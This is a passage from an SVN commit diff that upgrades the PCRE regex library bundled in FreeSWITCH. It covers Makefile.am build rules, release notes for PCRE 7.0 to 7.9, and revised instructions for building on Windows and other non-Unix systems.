+  pcrecpp_internal.h \
+  pcrecpp.cc \
+  pcre_scanner.cc \
+  pcre_stringpiece.cc
+libpcrecpp_la_LDFLAGS = $(EXTRA_LIBPCRECPP_LDFLAGS)
+libpcrecpp_la_LIBADD = libpcre.la
+
+TESTS += pcrecpp_unittest
+noinst_PROGRAMS += pcrecpp_unittest
+pcrecpp_unittest_SOURCES = pcrecpp_unittest.cc
+pcrecpp_unittest_LDADD = libpcrecpp.la
+
+TESTS += pcre_scanner_unittest
+noinst_PROGRAMS += pcre_scanner_unittest
+pcre_scanner_unittest_SOURCES = pcre_scanner_unittest.cc
+pcre_scanner_unittest_LDADD = libpcrecpp.la
+
+TESTS += pcre_stringpiece_unittest
+noinst_PROGRAMS += pcre_stringpiece_unittest
+pcre_stringpiece_unittest_SOURCES = pcre_stringpiece_unittest.cc
+pcre_stringpiece_unittest_LDADD = libpcrecpp.la
+
+endif # WITH_PCRE_CPP
+
+## The main unit tests
+
+# Each unit test is a binary plus a script that runs that binary in various
+# ways. We install these test binaries in case folks find it helpful.
+
+TESTS += RunTest
+dist_noinst_SCRIPTS += RunTest
+EXTRA_DIST += RunTest.bat
+bin_PROGRAMS += pcretest
+pcretest_SOURCES = pcretest.c
+pcretest_LDADD = libpcreposix.la $(LIBREADLINE)
+
+TESTS += RunGrepTest
+dist_noinst_SCRIPTS += RunGrepTest
+bin_PROGRAMS += pcregrep
+pcregrep_SOURCES = pcregrep.c
+pcregrep_LDADD = libpcreposix.la $(LIBZ) $(LIBBZ2)
+
+EXTRA_DIST += \
+  testdata/grepinput \
+  testdata/grepinput8 \
+  testdata/grepinputv \
+  testdata/grepinputx \
+  testdata/greplist \
+  testdata/grepoutput \
+  testdata/grepoutput8 \
+  testdata/grepoutputN \
+  testdata/testinput1 \
+  testdata/testinput2 \
+  testdata/testinput3 \
+  testdata/testinput4 \
+  testdata/testinput5 \
+  testdata/testinput6 \
+  testdata/testinput7 \
+  testdata/testinput8 \
+  testdata/testinput9 \
+  testdata/testinput10 \
+  testdata/testoutput1 \
+  testdata/testoutput2 \
+  testdata/testoutput3 \
+  testdata/testoutput4 \
+  testdata/testoutput5 \
+  testdata/testoutput6 \
+  testdata/testoutput7 \
+  testdata/testoutput8 \
+  testdata/testoutput9 \
+  testdata/testoutput10 \
+  testdata/wintestinput3 \
+  testdata/wintestoutput3 \
+  perltest.pl
+
+CLEANFILES += \
+	testsavedregex \
+	teststderr \
+	testtry \
+        testNinput
+
+
+# PCRE demonstration program. No longer built automatcally. The point is that
+# the users should build it themselves. So just distribute the source.
+# noinst_PROGRAMS += pcredemo
+# pcredemo_SOURCES = pcredemo.c
+# pcredemo_LDADD = libpcre.la
+
+EXTRA_DIST += pcredemo.c
+
+
+## Utility rules, documentation, etc.
+
+# A compatibility line, the old build system worked with 'make test'
+test: check ;
+
+
+# A PCRE user submitted the following addition, saying that it "will allow
+# anyone using the 'mingw32' compiler to simply type 'make pcre.dll' and get a
+# nice DLL for Windows use". (It is used by the pcre.dll target.)
+DLL_OBJS= pcre_compile.o pcre_config.o \
+	pcre_dfa_exec.o pcre_exec.o pcre_fullinfo.o pcre_get.o \
+	pcre_globals.o pcre_info.o pcre_maketables.o \
+	pcre_newline.o pcre_ord2utf8.o pcre_refcount.o \
+	pcre_study.o pcre_tables.o pcre_try_flipped.o \
+	pcre_ucd.o pcre_valid_utf8.o pcre_version.o \
+	pcre_chartables.o \
+	pcre_xclass.o
+
+# A PCRE user submitted the following addition, saying that it "will allow
+# anyone using the 'mingw32' compiler to simply type 'make pcre.dll' and get a
+# nice DLL for Windows use".
+pcre.dll: $(DLL_OBJS)
+	$(CC) -shared -o pcre.dll -Wl,"--strip-all" -Wl,"--export-all-symbols" $(DLL_OBJS)
+
+
+# We have .pc files for pkg-config users.
+pkgconfigdir = $(libdir)/pkgconfig
+pkgconfig_DATA = libpcre.pc
+if WITH_PCRE_CPP
+pkgconfig_DATA += libpcrecpp.pc
+endif
+
+dist_man_MANS = \
+  doc/pcre.3 \
+  doc/pcre-config.1 \
+  doc/pcre_compile.3 \
+  doc/pcre_compile2.3 \
+  doc/pcre_config.3 \
+  doc/pcre_copy_named_substring.3 \
+  doc/pcre_copy_substring.3 \
+  doc/pcre_dfa_exec.3 \
+  doc/pcre_exec.3 \
+  doc/pcre_free_substring.3 \
+  doc/pcre_free_substring_list.3 \
+  doc/pcre_fullinfo.3 \
+  doc/pcre_get_named_substring.3 \
+  doc/pcre_get_stringnumber.3 \
+  doc/pcre_get_stringtable_entries.3 \
+  doc/pcre_get_substring.3 \
+  doc/pcre_get_substring_list.3 \
+  doc/pcre_info.3 \
+  doc/pcre_maketables.3 \
+  doc/pcre_refcount.3 \
+  doc/pcre_study.3 \
+  doc/pcre_version.3 \
+  doc/pcreapi.3 \
+  doc/pcrebuild.3 \
+  doc/pcrecallout.3 \
+  doc/pcrecompat.3 \
+  doc/pcregrep.1 \
+  doc/pcrematching.3 \
+  doc/pcrepartial.3 \
+  doc/pcrepattern.3 \
+  doc/pcreperform.3 \
+  doc/pcreposix.3 \
+  doc/pcreprecompile.3 \
+  doc/pcresample.3 \
+  doc/pcrestack.3 \
+  doc/pcresyntax.3 \
+  doc/pcretest.1
+
+pcrecpp_man = doc/pcrecpp.3
+EXTRA_DIST += $(pcrecpp_man)
+
+if WITH_PCRE_CPP
+man_MANS = $(pcrecpp_man)
+endif
+
+## CMake support
+
+EXTRA_DIST += \
+  cmake/COPYING-CMAKE-SCRIPTS \
+  cmake/FindPackageHandleStandardArgs.cmake \
+  cmake/FindReadline.cmake \
+  CMakeLists.txt \
+  config-cmake.h.in
+
+## end Makefile.am

Deleted: freeswitch/branches/seven/libs/pcre/Makefile.in

Modified: freeswitch/branches/seven/libs/pcre/NEWS (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/NEWS	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/NEWS	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,168 @@
 News about PCRE releases
 ------------------------
 
+Release 7.9 11-Apr-09
+---------------------
+
+Mostly bugfixes and tidies with just a couple of minor functional additions.
+
+
+Release 7.8 05-Sep-08
+---------------------
+
+More bug fixes, plus a performance improvement in Unicode character property
+lookup.
+
+
+Release 7.7 07-May-08
+---------------------
+
+This is once again mainly a bug-fix release, but there are a couple of new
+features.
+
+
+Release 7.6 28-Jan-08
+---------------------
+
+The main reason for having this release so soon after 7.5 is because it fixes a
+potential buffer overflow problem in pcre_compile() when run in UTF-8 mode. In
+addition, the CMake configuration files have been brought up to date.
+
+
+Release 7.5 10-Jan-08
+---------------------
+
+This is mainly a bug-fix release. However the ability to link pcregrep with
+libz or libbz2 and the ability to link pcretest with libreadline have been
+added. Also the --line-offsets and --file-offsets options were added to
+pcregrep.
+
+
+Release 7.4 21-Sep-07
+---------------------
+
+The only change of specification is the addition of options to control whether
+\R matches any Unicode line ending (the default) or just CR, LF, and CRLF.
+Otherwise, the changes are bug fixes and a refactoring to reduce the number of
+relocations needed in a shared library. There have also been some documentation
+updates, in particular, some more information about using CMake to build PCRE
+has been added to the NON-UNIX-USE file.
+
+
+Release 7.3 28-Aug-07
+---------------------
+
+Most changes are bug fixes. Some that are not:
+
+1. There is some support for Perl 5.10's experimental "backtracking control
+   verbs" such as (*PRUNE).
+
+2. UTF-8 checking is now as per RFC 3629 instead of RFC 2279; this is more
+   restrictive in the strings it accepts.
+
+3. Checking for potential integer overflow has been made more dynamic, and as a
+   consequence there is no longer a hard limit on the size of a subpattern that
+   has a limited repeat count.
+
+4. When CRLF is a valid line-ending sequence, pcre_exec() and pcre_dfa_exec()
+   no longer advance by two characters instead of one when an unanchored match
+   fails at CRLF if there are explicit CR or LF matches within the pattern.
+   This gets rid of some anomalous effects that previously occurred.
+
+5. Some PCRE-specific settings for varying the newline options at the start of
+   a pattern have been added.
+
+
+Release 7.2 19-Jun-07
+---------------------
+
+WARNING: saved patterns that were compiled by earlier versions of PCRE must be
+recompiled for use with 7.2 (necessitated by the addition of \K, \h, \H, \v,
+and \V).
+
+Correction to the notes for 7.1: the note about shared libraries for Windows is
+wrong. Previously, three libraries were built, but each could function
+independently. For example, the pcreposix library also included all the
+functions from the basic pcre library. The change is that the three libraries
+are no longer independent. They are like the Unix libraries. To use the
+pcreposix functions, for example, you need to link with both the pcreposix and
+the basic pcre library.
+
+Some more features from Perl 5.10 have been added:
+
+  (?-n) and (?+n) relative references for recursion and subroutines.
+
+  (?(-n) and (?(+n) relative references as conditions.
+
+  \k{name} and \g{name} are synonyms for \k<name>.
+
+  \K to reset the start of the matched string; for example, (foo)\Kbar
+  matches bar preceded by foo, but only sets bar as the matched string.
+
+  (?| introduces a group where the capturing parentheses in each alternative
+  start from the same number; for example, (?|(abc)|(xyz)) sets capturing
+  parentheses number 1 in both cases.
+
+  \h, \H, \v, \V match horizontal and vertical whitespace, respectively.
+
+
+Release 7.1 24-Apr-07
+---------------------
+
+There is only one new feature in this release: a linebreak setting of
+PCRE_NEWLINE_ANYCRLF. It is a cut-down version of PCRE_NEWLINE_ANY, which
+recognizes only CRLF, CR, and LF as linebreaks.
+
+A few bugs are fixed (see ChangeLog for details), but the major change is a
+complete re-implementation of the build system. This now has full Autotools
+support and so is now "standard" in some sense. It should help with compiling
+PCRE in a wide variety of environments.
+
+NOTE: when building shared libraries for Windows, three dlls are now built,
+called libpcre, libpcreposix, and libpcrecpp. Previously, everything was
+included in a single dll.
+
+Another important change is that the dftables auxiliary program is no longer
+compiled and run at "make" time by default. Instead, a default set of character
+tables (assuming ASCII coding) is used. If you want to use dftables to generate
+the character tables as previously, add --enable-rebuild-chartables to the
+"configure" command. You must do this if you are compiling PCRE to run on a
+system that uses EBCDIC code.
+
+There is a discussion about character tables in the README file. The default is
+not to use dftables so that that there is no problem when cross-compiling.
+
+
+Release 7.0 19-Dec-06
+---------------------
+
+This release has a new major number because there have been some internal
+upheavals to facilitate the addition of new optimizations and other facilities,
+and to make subsequent maintenance and extension easier. Compilation is likely
+to be a bit slower, but there should be no major effect on runtime performance.
+Previously compiled patterns are NOT upwards compatible with this release. If
+you have saved compiled patterns from a previous release, you will have to
+re-compile them. Important changes that are visible to users are:
+
+1. The Unicode property tables have been updated to Unicode 5.0.0, which adds
+   some more scripts.
+
+2. The option PCRE_NEWLINE_ANY causes PCRE to recognize any Unicode newline
+   sequence as a newline.
+
+3. The \R escape matches a single Unicode newline sequence as a single unit.
+
+4. New features that will appear in Perl 5.10 are now in PCRE. These include
+   alternative Perl syntax for named parentheses, and Perl syntax for
+   recursion.
+
+5. The C++ wrapper interface has been extended by the addition of a
+   QuoteMeta function and the ability to allow copy construction and
+   assignment.
+
+For a complete list of changes, see the ChangeLog file.
+
+
 Release 6.7 04-Jul-06
 ---------------------
 

Modified: freeswitch/branches/seven/libs/pcre/NON-UNIX-USE (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/NON-UNIX-USE	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/NON-UNIX-USE	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,127 +1,154 @@
 Compiling PCRE on non-Unix systems
 ----------------------------------
 
-See below for comments on Cygwin or MinGW and OpenVMS usage. I (Philip Hazel)
-have no knowledge of Windows or VMS sytems and how their libraries work. The
-items in the PCRE Makefile that relate to anything other than Unix-like systems
-have been contributed by PCRE users. There are some other comments and files in
-the Contrib directory on the ftp site that you may find useful. See
+This document contains the following sections:
 
+  General
+  Generic instructions for the PCRE C library
+  The C++ wrapper functions
+  Building for virtual Pascal
+  Stack size in Windows environments
+  Linking programs in Windows environments
+  Comments about Win32 builds
+  Building PCRE on Windows with CMake
+  Use of relative paths with CMake on Windows
+  Testing with runtest.bat
+  Building under Windows with BCC5.5
+  Building PCRE on OpenVMS
+
+
+GENERAL
+
+I (Philip Hazel) have no experience of Windows or VMS sytems and how their
+libraries work. The items in the PCRE distribution and Makefile that relate to
+anything other than Unix-like systems are untested by me.
+
+There are some other comments and files (including some documentation in CHM
+format) in the Contrib directory on the FTP site:
+
   ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/Contrib
 
-If you want to compile PCRE for a non-Unix system (or perhaps, more strictly,
-for a system that does not support "configure" and "make" files), note that
-the basic PCRE library consists entirely of code written in Standard C, and so
-should compile successfully on any system that has a Standard C compiler and
-library. The C++ wrapper functions are a separate issue (see below).
+If you want to compile PCRE for a non-Unix system (especially for a system that
+does not support "configure" and "make" files), note that the basic PCRE
+library consists entirely of code written in Standard C, and so should compile
+successfully on any system that has a Standard C compiler and library. The C++
+wrapper functions are a separate issue (see below).
 
+The PCRE distribution includes a "configure" file for use by the Configure/Make
+build system, as found in many Unix-like environments. There is also support
+support for CMake, which some users prefer, in particular in Windows
+environments. There are some instructions for CMake under Windows in the
+section entitled "Building PCRE with CMake" below. CMake can also be used to
+build PCRE in Unix-like systems.
 
-GENERIC INSTRUCTIONS FOR THE C LIBRARY
 
-The following are generic comments about building PCRE. The interspersed
-indented commands are suggestions from Mark Tetrode as to which commands you
-might use on a Windows system to build a static library.
+GENERIC INSTRUCTIONS FOR THE PCRE C LIBRARY
 
-(1) Copy or rename the file config.in as config.h, and change the macros that
-define HAVE_STRERROR and HAVE_MEMMOVE to define them as 1 rather than 0.
-Unfortunately, because of the way Unix autoconf works, the default setting has
-to be 0. You may also want to make changes to other macros in config.h. In
-particular, if you want to force a specific value for newline, you can define
-the NEWLINE macro. The default is to use '\n', thereby using whatever value
-your compiler gives to '\n'.
+The following are generic comments about building the PCRE C library "by hand".
 
-  rem Mark Tetrode's commands
-  copy config.in config.h
-  rem Use write, because notepad cannot handle UNIX files. Change values.
-  write config.h
+ (1) Copy or rename the file config.h.generic as config.h, and edit the macro
+     settings that it contains to whatever is appropriate for your environment.
+     In particular, if you want to force a specific value for newline, you can
+     define the NEWLINE macro. When you compile any of the PCRE modules, you
+     must specify -DHAVE_CONFIG_H to your compiler so that config.h is included
+     in the sources.
 
-(2) Compile dftables.c as a stand-alone program, and then run it with
-the single argument "pcre_chartables.c". This generates a set of standard
-character tables and writes them to that file.
+     An alternative approach is not to edit config.h, but to use -D on the
+     compiler command line to make any changes that you need to the
+     configuration options. In this case -DHAVE_CONFIG_H must not be set.
 
-  rem Mark Tetrode's commands
-  rem Compile & run
-  cl -DSUPPORT_UTF8 -DSUPPORT_UCP dftables.c
-  dftables.exe pcre_chartables.c
+     NOTE: There have been occasions when the way in which certain parameters
+     in config.h are used has changed between releases. (In the configure/make
+     world, this is handled automatically.) When upgrading to a new release,
+     you are strongly advised to review config.h.generic before re-using what
+     you had previously.
 
-(3) Compile the following source files:
+ (2) Copy or rename the file pcre.h.generic as pcre.h.
 
-  pcre_chartables.c
-  pcre_compile.c
-  pcre_config.c
-  pcre_dfa_exec.c
-  pcre_exec.c
-  pcre_fullinfo.c
-  pcre_get.c
-  pcre_globals.c
-  pcre_info.c
-  pcre_maketables.c
-  pcre_ord2utf8.c
-  pcre_refcount.c
-  pcre_study.c
-  pcre_tables.c
-  pcre_try_flipped.c
-  pcre_ucp_searchfuncs.c
-  pcre_valid_utf8.c
-  pcre_version.c
-  pcre_xclass.c
+ (3) EITHER:
+       Copy or rename file pcre_chartables.c.dist as pcre_chartables.c.
 
-and link them all together into an object library in whichever form your system
-keeps such libraries. This is the pcre C library. If your system has static and
-shared libraries, you may have to do this once for each type.
+     OR:
+       Compile dftables.c as a stand-alone program (using -DHAVE_CONFIG_H if
+       you have set up config.h), and then run it with the single argument
+       "pcre_chartables.c". This generates a set of standard character tables
+       and writes them to that file. The tables are generated using the default
+       C locale for your system. If you want to use a locale that is specified
+       by LC_xxx environment variables, add the -L option to the dftables
+       command. You must use this method if you are building on a system that
+       uses EBCDIC code.
 
-  rem These comments are out-of-date, referring to a previous release which
-  rem had fewer source files. Replace with the file names from above.
-  rem Mark Tetrode's commands, for a static library
-  rem Compile & lib
-  cl -DSUPPORT_UTF8 -DSUPPORT_UCP -DPOSIX_MALLOC_THRESHOLD=10 /c maketables.c get.c study.c pcre.c
-  lib /OUT:pcre.lib maketables.obj get.obj study.obj pcre.obj
+     The tables in pcre_chartables.c are defaults. The caller of PCRE can
+     specify alternative tables at run time.
 
-(4) Similarly, compile pcreposix.c and link it (on its own) as the pcreposix
-library.
+ (4) Ensure that you have the following header files:
 
-  rem Mark Tetrode's commands, for a static library
-  rem Compile & lib
-  cl -DSUPPORT_UTF8 -DSUPPORT_UCP -DPOSIX_MALLOC_THRESHOLD=10 /c pcreposix.c
-  lib /OUT:pcreposix.lib pcreposix.obj
+       pcre_internal.h
+       ucp.h
 
-(5) Compile the test program pcretest.c. This needs the functions in the
-pcre and pcreposix libraries when linking.
+ (5) Also ensure that you have the following file, which is #included as source
+     when building a debugging version of PCRE, and is also used by pcretest.
 
-  rem Mark Tetrode's commands
-  rem compile & link
-  cl /F0x400000 pcretest.c pcre.lib pcreposix.lib
+       pcre_printint.src
 
-(6) Run pcretest on the testinput files in the testdata directory, and check
-that the output matches the corresponding testoutput files. You must use the
--i option when checking testinput2. Note that the supplied files are in Unix
-format, with just LF characters as line terminators. You may need to edit them
-to change this if your system uses a different convention.
+ (6) Compile the following source files, setting -DHAVE_CONFIG_H as a compiler
+     option if you have set up config.h with your configuration, or else use
+     other -D settings to change the configuration as required.
 
-  rem Mark Tetrode's commands
-  pcretest testdata\testinput1 testdata\myoutput1
-  windiff testdata\testoutput1 testdata\myoutput1
-  pcretest -i testdata\testinput2 testdata\myoutput2
-  windiff testdata\testoutput2 testdata\myoutput2
-  pcretest testdata\testinput3 testdata\myoutput3
-  windiff testdata\testoutput3 testdata\myoutput3
-  pcretest testdata\testinput4 testdata\myoutput4
-  windiff testdata\testoutput4 testdata\myoutput4
-  pcretest testdata\testinput5 testdata\myoutput5
-  windiff testdata\testoutput5 testdata\myoutput5
-  pcretest testdata\testinput6 testdata\myoutput6
-  windiff testdata\testoutput6 testdata\myoutput6
+       pcre_chartables.c
+       pcre_compile.c
+       pcre_config.c
+       pcre_dfa_exec.c
+       pcre_exec.c
+       pcre_fullinfo.c
+       pcre_get.c
+       pcre_globals.c
+       pcre_info.c
+       pcre_maketables.c
+       pcre_newline.c
+       pcre_ord2utf8.c
+       pcre_refcount.c
+       pcre_study.c
+       pcre_tables.c
+       pcre_try_flipped.c
+       pcre_ucd.c
+       pcre_valid_utf8.c
+       pcre_version.c
+       pcre_xclass.c
 
-Note that there are now three more tests (7, 8, 9) that did not exist when Mark
-wrote those comments. The test the new pcre_dfa_exec() function.
+     Make sure that you include -I. in the compiler command (or equivalent for
+     an unusual compiler) so that all included PCRE header files are first
+     sought in the current directory. Otherwise you run the risk of picking up
+     a previously-installed file from somewhere else.
 
-(7) If you want to use the pcregrep command, compile and link pcregrep.c; it
-uses only the basic PCRE library.
+ (7) Now link all the compiled code into an object library in whichever form
+     your system keeps such libraries. This is the basic PCRE C library. If
+     your system has static and shared libraries, you may have to do this once
+     for each type.
 
+ (8) Similarly, compile pcreposix.c (remembering -DHAVE_CONFIG_H if necessary)
+     and link the result (on its own) as the pcreposix library.
 
+ (9) Compile the test program pcretest.c (again, don't forget -DHAVE_CONFIG_H).
+     This needs the functions in the pcre and pcreposix libraries when linking.
+     It also needs the pcre_printint.src source file, which it #includes.
+
+(10) Run pcretest on the testinput files in the testdata directory, and check
+     that the output matches the corresponding testoutput files. Note that the
+     supplied files are in Unix format, with just LF characters as line
+     terminators. You may need to edit them to change this if your system uses
+     a different convention. If you are using Windows, you probably should use
+     the wintestinput3 file instead of testinput3 (and the corresponding output
+     file). This is a locale test; wintestinput3 sets the locale to "french"
+     rather than "fr_FR", and there some minor output differences.
+
+(11) If you want to use the pcregrep command, compile and link pcregrep.c; it
+     uses only the basic PCRE library (it does not need the pcreposix library).
+
+
 THE C++ WRAPPER FUNCTIONS
 
-The PCRE distribution now contains some C++ wrapper functions and tests,
+The PCRE distribution also contains some C++ wrapper functions and tests,
 contributed by Google Inc. On a system that can use "configure" and "make",
 the functions are automatically built into a library called pcrecpp. It should
 be straightforward to compile the .cc files manually on other systems. The
@@ -129,79 +156,230 @@
 xxx.cc files.
 
 
-FURTHER REMARKS
+BUILDING FOR VIRTUAL PASCAL
 
-If you have a system without "configure" but where you can use a Makefile, edit
-Makefile.in to create Makefile, substituting suitable values for the variables
-at the head of the file.
+A script for building PCRE using Borland's C++ compiler for use with VPASCAL
+was contributed by Alexander Tokarev. Stefan Weber updated the script and added
+additional files. The following files in the distribution are for building PCRE
+for use with VP/Borland: makevp_c.txt, makevp_l.txt, makevp.bat, pcregexp.pas.
 
-Some help in building a Win32 DLL of PCRE in GnuWin32 environments was
-contributed by Paul Sokolovsky. These environments are Mingw32
-(http://www.xraylith.wisc.edu/~khan/software/gnu-win32/) and CygWin
-(http://sourceware.cygnus.com/cygwin/). Paul comments:
 
-  For CygWin, set CFLAGS=-mno-cygwin, and do 'make dll'. You'll get
-  pcre.dll (containing pcreposix also), libpcre.dll.a, and dynamically
-  linked pgrep and pcretest. If you have /bin/sh, run RunTest (three
-  main test go ok, locale not supported).
+STACK SIZE IN WINDOWS ENVIRONMENTS
 
-Changes to do MinGW with autoconf 2.50 were supplied by Fred Cox
-<sailorFred@yahoo.com>, who comments as follows:
+The default processor stack size of 1Mb in some Windows environments is too
+small for matching patterns that need much recursion. In particular, test 2 may
+fail because of this. Normally, running out of stack causes a crash, but there
+have been cases where the test program has just died silently. See your linker
+documentation for how to increase stack size if you experience problems. The
+Linux default of 8Mb is a reasonable choice for the stack, though even that can
+be too small for some pattern/subject combinations.
 
-  If you are using the PCRE DLL, the normal Unix style configure && make &&
-  make check && make install should just work[*]. If you want to statically
-  link against the .a file, you must define PCRE_STATIC before including
-  pcre.h, otherwise the pcre_malloc and pcre_free exported functions will be
-  declared __declspec(dllimport), with hilarious results.  See the configure.in
-  and pcretest.c for how it is done for the static test.
+PCRE has a compile configuration option to disable the use of stack for
+recursion so that heap is used instead. However, pattern matching is
+significantly slower when this is done. There is more about stack usage in the
+"pcrestack" documentation.
 
-  Also, there will only be a libpcre.la, not a libpcreposix.la, as you
-  would expect from the Unix version. The single DLL includes the pcreposix
-  interface.
 
-[*] But note that the supplied test files are in Unix format, with just LF
-characters as line terminators. You will have to edit them to change to CR LF
-terminators.
+LINKING PROGRAMS IN WINDOWS ENVIRONMENTS
 
-A script for building PCRE using Borland's C++ compiler for use with VPASCAL
-was contributed by Alexander Tokarev. It is called makevp.bat.
+If you want to statically link a program against a PCRE library in the form of
+a non-dll .a file, you must define PCRE_STATIC before including pcre.h,
+otherwise the pcre_malloc() and pcre_free() exported functions will be declared
+__declspec(dllimport), with unwanted results.
 
-These are some further comments about Win32 builds from Mark Evans. They
-were contributed before Fred Cox's changes were made, so it is possible that
-they may no longer be relevant.
 
-"The documentation for Win32 builds is a bit shy.  Under MSVC6 I
-followed their instructions to the letter, but there were still
-some things missing.
+CALLING CONVENTIONS IN WINDOWS ENVIRONMENTS
 
-(1) Must #define STATIC for entire project if linking statically.
-    (I see no reason to use DLLs for code this compact.)  This of
-    course is a project setting in MSVC under Preprocessor.
+It is possible to compile programs to use different calling conventions using
+MSVC. Search the web for "calling conventions" for more information. To make it
+easier to change the calling convention for the exported functions in the
+PCRE library, the macro PCRE_CALL_CONVENTION is present in all the external
+definitions. It can be set externally when compiling (e.g. in CFLAGS). If it is
+not set, it defaults to empty; the default calling convention is then used
+(which is what is wanted most of the time).
 
-(2) Missing some #ifdefs relating to the function pointers
-    pcre_malloc and pcre_free.  See my solution below.  (The stubs
-    may not be mandatory but they made me feel better.)"
 
-=========================
-#ifdef _WIN32
-#include <malloc.h>
+COMMENTS ABOUT WIN32 BUILDS (see also "BUILDING PCRE WITH CMAKE" below)
 
-void* malloc_stub(size_t N)
-{ return malloc(N); }
-void free_stub(void* p)
-{ free(p); }
-void *(*pcre_malloc)(size_t) = &malloc_stub;
-void  (*pcre_free)(void *) = &free_stub;
+There are two ways of building PCRE using the "configure, make, make install"
+paradigm on Windows systems: using MinGW or using Cygwin. These are not at all
+the same thing; they are completely different from each other. There is also
+support for building using CMake, which some users find a more straightforward
+way of building PCRE under Windows. However, the tests are not run
+automatically when CMake is used.
 
-#else
+The MinGW home page (http://www.mingw.org/) says this:
 
-void *(*pcre_malloc)(size_t) = malloc;
-void  (*pcre_free)(void *) = free;
+  MinGW: A collection of freely available and freely distributable Windows
+  specific header files and import libraries combined with GNU toolsets that
+  allow one to produce native Windows programs that do not rely on any
+  3rd-party C runtime DLLs.
 
-#endif
-=========================
+The Cygwin home page (http://www.cygwin.com/) says this:
 
+  Cygwin is a Linux-like environment for Windows. It consists of two parts:
 
+  . A DLL (cygwin1.dll) which acts as a Linux API emulation layer providing
+    substantial Linux API functionality
+
+  . A collection of tools which provide Linux look and feel.
+
+  The Cygwin DLL currently works with all recent, commercially released x86 32
+  bit and 64 bit versions of Windows, with the exception of Windows CE.
+
+On both MinGW and Cygwin, PCRE should build correctly using:
+
+  ./configure && make && make install
+
+This should create two libraries called libpcre and libpcreposix, and, if you
+have enabled building the C++ wrapper, a third one called libpcrecpp. These are
+independent libraries: when you like with libpcreposix or libpcrecpp you must
+also link with libpcre, which contains the basic functions. (Some earlier
+releases of PCRE included the basic libpcre functions in libpcreposix. This no
+longer happens.)
+
+A user submitted a special-purpose patch that makes it easy to create
+"pcre.dll" under mingw32 using the "msys" environment. It provides "pcre.dll"
+as a special target. If you use this target, no other files are built, and in
+particular, the pcretest and pcregrep programs are not built. An example of how
+this might be used is:
+
+  ./configure --enable-utf --disable-cpp CFLAGS="-03 -s"; make pcre.dll
+
+Using Cygwin's compiler generates libraries and executables that depend on
+cygwin1.dll. If a library that is generated this way is distributed,
+cygwin1.dll has to be distributed as well. Since cygwin1.dll is under the GPL
+licence, this forces not only PCRE to be under the GPL, but also the entire
+application. A distributor who wants to keep their own code proprietary must
+purchase an appropriate Cygwin licence.
+
+MinGW has no such restrictions. The MinGW compiler generates a library or
+executable that can run standalone on Windows without any third party dll or
+licensing issues.
+
+But there is more complication:
+
+If a Cygwin user uses the -mno-cygwin Cygwin gcc flag, what that really does is
+to tell Cygwin's gcc to use the MinGW gcc. Cygwin's gcc is only acting as a
+front end to MinGW's gcc (if you install Cygwin's gcc, you get both Cygwin's
+gcc and MinGW's gcc). So, a user can:
+
+. Build native binaries by using MinGW or by getting Cygwin and using
+  -mno-cygwin.
+
+. Build binaries that depend on cygwin1.dll by using Cygwin with the normal
+  compiler flags.
+
+The test files that are supplied with PCRE are in Unix format, with LF
+characters as line terminators. It may be necessary to change the line
+terminators in order to get some of the tests to work. We hope to improve
+things in this area in future.
+
+
+BUILDING PCRE ON WINDOWS WITH CMAKE
+
+CMake is an alternative build facility that can be used instead of the
+traditional Unix "configure". CMake version 2.4.7 supports Borland makefiles,
+MinGW makefiles, MSYS makefiles, NMake makefiles, UNIX makefiles, Visual Studio
+6, Visual Studio 7, Visual Studio 8, and Watcom W8. The following instructions
+were contributed by a PCRE user.
+
+1.  Download CMake 2.4.7 or above from http://www.cmake.org/, install and ensure
+    that cmake\bin is on your path.
+
+2.  Unzip (retaining folder structure) the PCRE source tree into a source
+    directory such as C:\pcre.
+
+3.  Create a new, empty build directory: C:\pcre\build\
+
+4.  Run CMakeSetup from the Shell envirornment of your build tool, e.g., Msys
+    for Msys/MinGW or Visual Studio Command Prompt for VC/VC++
+
+5.  Enter C:\pcre\pcre-xx and C:\pcre\build for the source and build
+    directories, respectively
+
+6.  Hit the "Configure" button.
+
+7.  Select the particular IDE / build tool that you are using (Visual Studio,
+    MSYS makefiles, MinGW makefiles, etc.)
+
+8.  The GUI will then list several configuration options. This is where you can
+    enable UTF-8 support, etc.
+
+9.  Hit "Configure" again. The adjacent "OK" button should now be active.
+
+10. Hit "OK".
+
+11. The build directory should now contain a usable build system, be it a
+    solution file for Visual Studio, makefiles for MinGW, etc.
+
+
+USE OF RELATIVE PATHS WITH CMAKE ON WINDOWS
+
+A PCRE user comments as follows:
+
+I thought that others may want to know the current state of
+CMAKE_USE_RELATIVE_PATHS support on Windows.
+
+Here it is:
+-- AdditionalIncludeDirectories is only partially modified (only the
+first path - see below)
+-- Only some of the contained file paths are modified - shown below for
+pcre.vcproj
+-- It properly modifies
+
+I am sure CMake people can fix that if they want to. Until then one will
+need to replace existing absolute paths in project files with relative
+paths manually (e.g. from VS) - relative to project file location. I did
+just that before being told to try CMAKE_USE_RELATIVE_PATHS. Not a big
+deal.
+
+AdditionalIncludeDirectories="E:\builds\pcre\build;E:\builds\pcre\pcre-7.5;"
+AdditionalIncludeDirectories=".;E:\builds\pcre\pcre-7.5;"
+
+RelativePath="pcre.h">
+RelativePath="pcre_chartables.c">
+RelativePath="pcre_chartables.c.rule">
+
+
+TESTING WITH RUNTEST.BAT
+
+1. Copy RunTest.bat into the directory where pcretest.exe has been created.
+
+2. Edit RunTest.bat and insert a line that indentifies the relative location of
+   the pcre source, e.g.:
+
+   set srcdir=..\pcre-7.4-RC3
+
+3. Run RunTest.bat from a command shell environment. Test outputs will
+   automatically be compared to expected results, and discrepancies will
+   identified in the console output.
+
+4. To test pcrecpp, run pcrecpp_unittest.exe, pcre_stringpiece_unittest.exe and
+   pcre_scanner_unittest.exe.
+
+
+BUILDING UNDER WINDOWS WITH BCC5.5
+
+Michael Roy sent these comments about building PCRE under Windows with BCC5.5:
+
+  Some of the core BCC libraries have a version of PCRE from 1998 built in,
+  which can lead to pcre_exec() giving an erroneous PCRE_ERROR_NULL from a
+  version mismatch. I'm including an easy workaround below, if you'd like to
+  include it in the non-unix instructions:
+
+  When linking a project with BCC5.5, pcre.lib must be included before any of
